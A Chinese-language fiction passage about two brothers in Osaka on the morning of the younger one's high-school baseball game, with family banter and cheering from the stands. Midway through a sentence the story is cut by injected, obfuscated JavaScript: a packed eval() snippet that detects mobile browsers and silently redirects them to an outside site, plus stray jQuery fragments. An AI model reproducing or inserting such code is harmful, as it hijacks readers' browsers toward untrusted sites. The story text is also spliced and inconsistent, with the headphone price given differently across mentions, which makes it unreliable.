清晨五点，大阪的天空还蒙着一层薄薄的灰蓝，像是被水洗过的旧画布。
建人被金太郎的低吠吵醒，揉着眼睛下楼，发现后院的灯亮着，车库的铁门半开，里面传来棒球撞击墙面的闷响。
他披上件薄外套，踩着拖鞋走过去，夜叉丸悄无声息地跟在后面，尾巴在晨雾里甩出一道弧线。
车库里，健太穿着旧队服，额头渗着汗珠，手里的棒球被他反复抛起又接住。
墙角堆着几只破旧的轮胎，墙面被球砸出一片坑坑洼洼的痕迹。健太的投球动作流畅得像流水，球速虽不快，但每一下都带着种沉稳的节奏，像是在跟空气较劲。
他没戴耳机，耳边只有晨风和远处蝉鸣的低语。建人靠在门框上，双手插兜，静静地看着。
健太的背影比记忆里宽了些，肩膀的肌肉线条在灯光下拉出硬朗的影子。他没出声，怕打断弟弟的节奏。
夜叉丸跳上轮胎堆，尾巴扫过一只空油漆罐，发出轻微的“叮”声。
健太猛地回头，手里的球差点掉地上：“哥？你干嘛在这儿？”
“被金太郎吵醒了。”建人耸耸肩，帽檐压低遮住半张脸，“你呢？五点不到就在这儿自虐，教练知道你偷练吗？”
健太皱了皱眉，抓起毛巾擦汗：“就...热身一下。睡不着。”
“热身？”建人哼了一声，走到他旁边，捡起地上的棒球，“这墙都快被你砸穿了，还热身？小心美咲姐扣你零花钱修墙。”
健太没接话，低头调整手套的魔术贴，动作慢得像在拖时间。建人看着他，指尖摩挲着球面的缝线。
那句“砸烂佐藤的脸”已经被汗水洇得有些模糊，但字迹里的倔强还清晰可见。
“喂。”建人把球扔回给健太，声音低了点，“别练了，回去睡一小时。比赛是上午九点，你现在把自己累垮，待会儿投球还怎么收拾佐藤？”
健太接住球，拳头攥得指节发白：“我没事。昨天的笔记还没背熟，西宫高中的四棒...他的外角低球...”
“停！”建人抬手打断他，语气里带了点不耐烦，“你那笔记我昨晚帮你加了备注，红笔写的，回去再看一遍。现在，睡觉。”
健太愣了一下，喉结动了动，像是想反驳，但最终只是点了点头。他把球塞进棒球包，背起包往屋里走。
建人跟在后面，夜叉丸从轮胎堆跳下，尾巴扫过他的小腿，像在催他快点。金太郎叼着拖鞋冲上来，差点把建人绊倒，他低声骂了一句“死狗”，却忍不住咧嘴笑了。
健太一头栽回床上，凉席被他的体重压得吱吱作响。建人靠在门框上，盯着弟弟的后脑勺。
健太的头发被汗水打湿，贴在后颈上，耳后的那颗红痣在晨光里若隐若现。
“哥。”健太的声音从枕头里传出来，闷闷的，“你今天...会来看比赛吧？”
建人愣了一下，随即咧嘴笑了：“废话！你哥我可是专业的应援团长，待会儿给你喊到嗓子劈叉”
健太没说话，但建人看到他的耳尖微微泛红。他没再逗弟弟，转身回了自己床边，夜叉丸已经霸占了他的枕头，尾巴甩得像螺旋桨。
“死猫，下去！”建人低声骂了一句，轻轻把夜叉丸抱到地上。
猫咪不满地咕噜了一声，跳到窗台上，盯着窗外的晨雾发呆。
建人躺在床上，盯着天花板上的水渍。那朵歪歪扭扭的蒲公英好像比昨晚更清晰了。他闭上眼，脑子里却全是健太投球的背影，还有那款49800日元的索尼耳机。
他摸了摸口袋，里面的存折还揣着，19300日元的余额像块石头压在胸口。
比赛日七点半，建人背着书包冲出家门，嘴里叼着美咲姐塞给他的饭团。
金太郎追着他跑了半条街，嘴里叼着夜叉丸的猫砂铲，差点绊倒一个晨跑的大叔。建人一边跑一边回头喊：“死狗！回去！别让美咲姐揍你！”
学校离家不远，但建人还是跑得满头大汗。排球部的晨练八点开始，他得先去露个面，免得早川茜的战术板砸到脑门。
进了体育馆，田中太郎正在帮铃木润调整假发，西园寺在角落喷防晒霜，空气里弥漫着薄荷和汗味的混合气味。
早川茜站在电子屏前，双马尾甩得像两把飞刀，战术板上佐藤翔阳的扣杀录像正在循环播放。“荒巻建人！迟到三分钟！”
早川的声音像鞭子一样抽过来，“罚接发球五十次！”
“我有急事！”建人连忙举手，挤出一脸诚恳，“我同桌山本肚子疼，我得送他去医务室！”
“肚子疼？”早川眯起眼，战术板在她手里转得像风车，“山本，过来！”
山本正一脸懵地啃面包，闻言差点被口水呛到：“啊？我、我没事啊！”
建人暗骂一声，赶紧补救：“他不好意思说！教练，我十分钟就回来！”
“行，十分钟。”早川哼了一声，战术板指向电子屏，“回来继续练，佐藤的扣杀弱点还没找全！”
建人连忙点头，拉着田中太郎到角落低声交代：“帮我打掩护，我去大阪中央球场，健太的比赛九点开始。”
“啥？！”田中太郎的晓美焰护膝闪着诡异的光，“你弟的棒球赛？你这当哥的也太拼了吧！”
“少废话！”建人拍了他后脑勺，“回头请你吃章鱼烧！”
他抓起背包，趁早川不注意溜出体育馆。
学校到大阪中央球场坐电车要二十五分钟，建人一路狂奔到车站，硬是挤上了七点五十分的班次。车厢里挤满了上班族和学生，空调冷气吹得他后背发凉。
他低头看了眼手机，健太八点半集合，现在估计已经在球场热身了。
建人把手机塞回口袋，盯着车窗外飞驰的街景。
町屋的章鱼烧摊还没开张，路边的自动贩卖机在晨光里闪着微光。他突然想起那款索尼耳机，498000日元的标价像根刺扎在脑子里。
球场重逢八点四十七分，建人气喘吁吁地冲到大阪中央球场。
入口处人头攒动，穿着各校队服的学生和举着横幅的应援团挤成一团。
空气里混着草皮的清香和热狗摊的油烟味，广播里正在报今天的赛程：“青空学园对西宫高中，九点整开赛！”
建人挤过人群，差点被一个举着“西宫必胜”牌子的大叔踩到脚。
他好不容易找到青空学园的休息区，看到健太正在场边拉伸，白色队服被汗水浸透，右肘的护具魔术贴又开了口。
他低头调整手套，动作慢得像在数秒，眼神却不时扫向入口，像在找什么。
“荒巻健太！”建人扯着嗓子喊，声音在人群里炸开，引来几个路人侧目。
健太猛地抬头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529088|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼神先是惊讶，随即嘴角不自觉上扬，露出少见的虎牙。
他放下手套，快步走过来，棒球包在肩上甩出一道弧线：“哥？你不是有晨练吗？”
“翘了！”建人喘着粗气，咧嘴笑得像个傻子，“你哥我跑了半个大阪，差点被电车门夹死，就为了给你喊加油！”
健太愣了一下，随即笑了，帽檐下的眼睛亮得像星星：“白痴...你跑得跟金太郎似的。”
“嘿！别瞧不起你哥！”建人拍了拍他的肩膀，手掌感受到弟弟发烫的体温。就在这时，观众席上传来一声熟悉的喊声：“健太！这儿！”
建人抬头一看，美咲姐和铁平叔正站在看台第三排，挥着手。美咲姐的团扇上画着只歪歪扭扭的章鱼，铁平叔手里举着罐啤酒，脸上挂着夸张的笑。
“姐？叔？”健太也抬头看去，嘴角的笑意更深了，“他们真来了。”
“废话！”建人哼了一声，“美咲姐说了九点半到，估计砍完水产市场的价就跑来了。铁平叔那啤酒，八成是路上买的。”
健太没说话，只是低头笑了笑，拇指在手套系带上摩挲了一下。
建人看着他，突然想起昨晚健太攥着御守的样子，声音闷在枕头里，像个怕输的小孩。
他拍了拍健太的后脑勺：“喂，臭小子，今天不把佐藤三振三次，我可不认你这弟弟！”
健太揉了揉后脑勺，抬头看向场内：“西宫的四棒已经到场了，我刚才看到他在试挥棒。”
“啧，那家伙。”建人脑子里闪过健太笔记上“外角低球必杀”的红字，“你那快速球练好了没？给我砸烂他的脸！”
健太没说话，只是点了点头，眼神冷得像把刀。他转身走向场内，背影在阳光下拉出一道长长的影子。
建人挤到观众席，找到美咲姐和铁平叔旁边的空位。美咲姐正在翻账本，嘴里嘀咕着“鲭鱼涨价了”，铁平叔已经喝得脸红，举着啤酒罐喊：“健太！给老子把球场炸了！”
“叔，你少喝点！”建人抢过他的啤酒，灌了一口，呛得直咳嗽，“这啥玩意儿，味儿跟洗洁精似的！”
“臭小子！那是老子的私藏！”铁平叔作势要抢回来，被美咲姐的团扇拍了个正着。
“都安静点！”美咲姐瞪了他们一眼，团扇指向场内，“比赛要开始了！”广播响起：“青空学园对西宫高中，比赛即将开始！”
人群的欢呼像海浪一样涌来，健太走上投手丘，帽檐压低，右手的御守在队服下微微鼓起。
建人攥紧手里的棒球，球面上的字迹在阳光下闪着微光。他突然想起存折里的19300日元，离49800 元的耳机还差得远，但他没再多想，只想看到健太投出第一球的样子。
“健太！加油！”建人扯着嗓子喊，声音混在人群里，响得像要撕开天。
美咲姐和铁平叔也跟着喊，团扇和啤酒罐在空中挥舞，金太郎和夜叉丸虽然不在场，但建人知道，它们八成在家闹腾，等着晚上听战绩。
蝉鸣撕开晨雾，球场的草皮绿得刺眼。健太抬起头，眼神扫过看台，找到建人的位置，嘴角微微上扬，拇指朝上，比了个他们小时候的暗号——“会赢”。
“臭小子...”建人低声嘀咕，把棒球抛向空中，“给我赢啊。”这个夏天，荒巻家的故事还在继续，吵闹、热烈，像一团烧不尽的火。